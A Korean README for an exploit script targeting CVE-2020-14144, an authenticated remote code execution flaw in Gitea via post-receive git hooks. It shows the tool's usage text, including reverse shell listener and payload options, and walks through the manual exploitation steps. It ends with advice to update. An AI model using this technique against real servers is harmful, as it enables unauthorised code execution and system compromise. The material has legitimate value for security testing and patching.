
CVE-2020-14144를 악용하는 스크립트 - git 훅을 사용한 GiTea 인증 원격 코드 실행
CVE-2020-14144를 이용해 git 훅을 통해 GiTea 인증된 원격 코드 실행을 수행하는 스크립트
-f 옵션으로 원격 실행$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
이 취약점/기능을 성공적으로 익스플로잇하려면 대상 서버의 GiTea 버전이 1.1.0에서 1.13 사이여야 하며, 유효한 계정(사용자 이름, 비밀번호)과 "Git 훅 생성 권한"이 활성화되어 있어야 합니다.

시스템 관리자 관점에서 익스플로잇 이전의 gitea 프로세스는 다음과 같습니다:

먼저, 우리 계정으로 GiTea 웹 인터페이스에 저장소를 생성해야 합니다. 저장소를 만든 후 설정 -> Git 훅 -> Post Receive Hook으로 이동합니다. 이 훅에 새 커밋을 수신한 후 실행될 셸 스크립트를 작성할 수 있습니다.

이제 공격 머신에 임시 디렉터리를 만들고 원격 저장소로 푸시합니다. 그러면 Post Receive Hook 스크립트가 트리거됩니다.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
커밋을 원격 저장소로 푸시한 후 Post Receive Hook 스크립트가 실행되어 리버스 셸을 얻을 수 있습니다!

익스플로잇 후 시스템 관리자는 GiTea의 자식 프로세스에서 분리된 리버스 셸을 쉽게 확인할 수 있습니다:

최소 버전 1.13.0으로 업데이트하는 것이 좋습니다.
풀 리퀘스트는 환영합니다. 다른 기능을 추가하고 싶다면 언제든지 이슈를 열어주세요.